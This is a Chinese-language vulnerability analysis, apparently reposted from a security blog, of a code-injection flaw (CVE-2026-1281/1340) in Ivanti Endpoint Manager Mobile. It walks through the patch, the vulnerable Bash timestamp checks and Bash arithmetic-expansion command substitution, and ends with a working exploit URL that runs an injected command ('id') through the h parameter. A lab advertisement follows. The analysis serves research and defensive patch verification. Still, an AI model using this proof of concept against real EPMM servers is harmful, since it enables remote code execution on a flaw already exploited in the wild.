前言:
文中技术分析仅供交流讨论,poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号以及棉花糖无关。
介绍:
近日,Ivanti公司披露了Ivanti Endpoint Manager Mobile (EPMM)中存在的代码注入漏洞(CVE-2026-1281和CVE-2026-1340),并确认已存在在野利用。该漏洞源于 Apache HTTPd 调用的 Bash 脚本在处理时间戳比较时,未能有效过滤恶意参数,导致攻击者可利用 Bash 算术扩展特性注入系统命令。
分析:
首先拿到补丁包
RPM的包那就好办了,直接查看它执行了什么即可,使用命令:- rpm -qp --scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
复制代码
emmm内容有点多,不过根据已知条件,该漏洞源于 Apache HTTPd ,补丁包里面很容易看到关键的修改Apache HTTPd配置的命令:- /bin/sed -i \
- -e 's|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL "prg:/bin/java -cp /mi/bin AppStoreUrlMapper"|g' \
- -e 's|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL "prg:/bin/java -cp /mi/bin AFTUrlMapper"|g' \
- /etc/httpd/conf.d/ssl.conf
复制代码 就是说把map-appstore-url和map-aft-store-url给换掉了不用是吧,ok我们去看看这俩脚本是什么,目录已经给了在mi/bin下,我们直接进终端查一下
map-appstore-url和map-aft-store-url是个bash脚本,cat就可以直接看内容(另一个脚本内容差不太多,就不展示了)。但内容太多了,我们还是请AI老师帮我们统一分析一下
AI老师帮我们分析并得到了一个传参请求,然后我们还得去apache的配置文件看看入口路径是什么,在/etc/httpd/conf.d/ssl.conf文件中找找相关的内容,由于配置文件内容太多了这里就不贴了,我也懒得找,还是让AI老师帮我们找找吧。
deepseek老师还是太善解人意了,直接给了一个标准请求:- /mifs/c/appstore/fob/3/1120/sha256:kid=1,st=1666663066,et=1666670266,h=a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2/75dc90fe-6ae7-4377-913b-7248334d39dc.ipa
复制代码 但这些传参到bash中,并没有找到明显的直接命令执行的点,这时我们需要再理解一下bash脚本,首先看bash脚本中的开头:- gKeyIndex=""
- gStartTime=""
- gEndTime=""
- gHashPrefixString=""
- gPath=""
- IFS=',' read -ra theAppStoreKeyValueArray
复制代码 脚本会用 IFS=',' 把传入的参数分割成数组 theAppStoreKeyValueArray,传参后是这样的数组:- ["kid=1", "st=1444444444", "et=1444444444", "h=a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2"]
复制代码 然后在下方有这样的一段循环:- if [[ -z ${ret} ]] ; then
- for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
- theKey="${theKeyMapEntry%%=*}"
- theValue="${theKeyMapEntry##*=}"
复制代码 它把传参的这些参数名和值循环赋值给了theKey和theValue,然后又被赋值到全局变量gKeyIndex、gStartTime、gEndTime、gHashPrefixString中,继续跟下去,看看这些值在哪里用到。
key参数赋值到了变量gKeyIndex,最终在这里应用:- kAppStoreSaltFile="/mi/files/appstore-salt.txt"
- gSalt=""
- if [[ -f ${kAppStoreSaltFile} ]]; then
- gSalt=$(sed -n "${gKeyIndex}p" "${kAppStoreSaltFile}")
- if [[ -z ${gSalt} ]]; then
- ret="${kSaltIndexInvalidErrorCode}"
- logDenial "${FUNCNAME}" "${ret}" "kid(${gKeyIndex}) is invalid (no salt found)"
- fi
- else
- ret="${kSaltFileMissingErrorCode}"
- logDenial "${FUNCNAME}" "${ret}" "Salt file ${kAppStoreSaltFile} not found"
- fi
复制代码 它是用来读取/mi/files/appstore-salt.txt对应行的,这个文件里面的hash值读取出来用来校验后续参数。
st 参数最终赋值给了gStartTime,分别在两个地方被调用:- kValidTimeStampLength=10
- case ${theKey} in
- st)
- gStartTime="${theValue}"
- if (( ${#gStartTime} != "${kValidTimeStampLength}" )); then
- ret="${kTimestampLengthInvalidErrorCode}"
- fi
- ;;
复制代码 这里判断了这个参数是否长度为10。- theCurrentTimeSeconds=$(date +%s)
- if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
- logDebug "${FUNCNAME}" "Current time(${theCurrentTimeSeconds}) > start time(${gStartTime})"
- # ...
- else
- ret="${kRequestExpiredErrorCode}"
- logDenial "${FUNCNAME}" "${ret}" "Start time(${gStartTime}) is in the future"
- fi
复制代码 这里用来比较当前时间是否晚于请求开始时间。
et 参数(gEndTime)和gStartTime的用处差不多,也校验了长度和用于验证当前时间≤结束时间。
h 参数(gHashPrefixString)是用于hash校验的值。
看上去还是没有直观的命令执行的代码,别急,我们再引入一个知识点。
首先给大家看一个脚本:- #!/bin/bash
- arr=""
- var="arr[`echo 'hacked' > ./hack_mht`0]"
- [[ 1 -gt $var ]]
- if [[ -f ./hack_mht ]]; then
- echo "执行成功!"
- else
- echo "未执行"
- fi
复制代码 bro们觉得这个脚本能成功执行命令吗?
答案:
为什么会这样捏,因为在bash中,数值比较功能可以解析array[index]这样的数值索引,index会被优先解析为算数表达式,比如array[1+1],会先计算1+1,而bash又有一个命令替换的优先级规则,如果你把array[1+1]改为则先执行被反引号包裹的命令,举例:- current_date=`date`
- echo "今天是: $current_date"
- echo "当前目录: `pwd`"
复制代码 显然在if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; 和if [[ ${theCurrentTimeSeconds} -lt ${gEndTime} ]] ; 中都存在这个条件,但我们之前说了,gStartTime和gEndTime都做了长度校验的,必须为十位,这就很鸡肋了,那怎么样才能绕过这个问题呢?
回到最开始的定义变量与循环:- if [[ -z ${ret} ]] ; then
- for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
- theKey="${theKeyMapEntry%%=*}"
- theValue="${theKeyMapEntry##*=}"
复制代码 bash中使用theKey和theValue循环赋值,传参的最后一个值为h,所以theValue最后的值是就是h的值,那现在就很有意思了,gStartTime和gEndTime都有长度限制,但h的值没有,能不能让h的值走到if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then里面去应用数值索引+命令替换呢?
可以的,既然在bash中有变量theValue=h传参,那我们就直接让gStartTime=theValue,最终流程:可控h参数->theValue->gStartTime,然后进入if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]];应用数值索引+命令替换,现在我们已经有了RCE的完整链条,开始构造最终poc。
kid参数为文件行数,随便用个1,st参数为theValue,注意十位长度校验,所以还需要再加两个空格,et参数也参与比较,也可作为theValue传参,st与et随便一个地方设置为theValue都可以,最后是h参数,只需要满足array[index]即可。
index部分的内容有了,array部分写什么呢,bash开头开启了set -o nounset,这是严格模式,严格模式下,Bash 遇到未定义的变量会直接终止脚本执行,直接从bash开头定义的那些空变量里面选一个,比如gPath和gHostname都可以,构造最终值:- gHostname[`id > /mi/bin/mht`]
复制代码 最终poc:- /mifs/c/appstore/fob/3/1120/sha256:kid=1,st=1111111111,et=theValue%20%20,h=gHostname%5B%60id%20>%20/mi/bin/mht%60%5D/mht.ipa
复制代码
该漏洞复现环境已在无境中上架:vip.bdziyi.com/ulab,无境,英文名Unbounded Lab,是专为网络安全学习者打造的综合性实战平台,提供真实企业级漏洞环境,让您在安全的环境中提升实战技能,核心特色:独立隔离环境,每位用户都拥有完全独立的靶场环境,即使是庞大的内网靶场,环境之间也是零干扰,确保您的学习过程不受任何影响。
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |